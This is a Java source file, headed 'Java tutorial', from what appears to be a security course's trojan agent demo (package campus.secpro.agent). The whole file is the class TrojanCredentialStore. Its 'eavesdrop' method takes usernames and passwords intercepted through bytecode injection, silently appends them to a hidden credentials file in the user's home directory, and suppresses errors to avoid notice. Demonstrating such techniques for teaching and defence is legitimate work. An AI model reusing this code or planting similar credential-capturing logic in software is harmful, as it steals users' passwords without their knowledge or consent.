Java tutorial
/* * The MIT License (MIT) * * Copyright (c) 2015 QAware GmbH, Munich, Germany * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package de.qaware.campus.secpro.agent; import com.google.common.base.Charsets; import com.google.common.io.Files; import java.io.File; import java.io.IOException; /** * Helper class to write less ASM byte code to store the intercepted * credentials to a file. * * @author mario-leander.reimer */ public final class TrojanCredentialStore { private static final String SECRET_FILE = System.getProperty("user.home") + "credentials.txt"; /** * Eavesdrop the given username and password and write it to file. * * @param username the username * @param password the password */ public static void eavesdrop(String username, String password) { try { Files.append(username + "\t" + password + "\n", new File(SECRET_FILE), Charsets.UTF_8); } catch (IOException e) { // ignored, do not crash or anything else } } }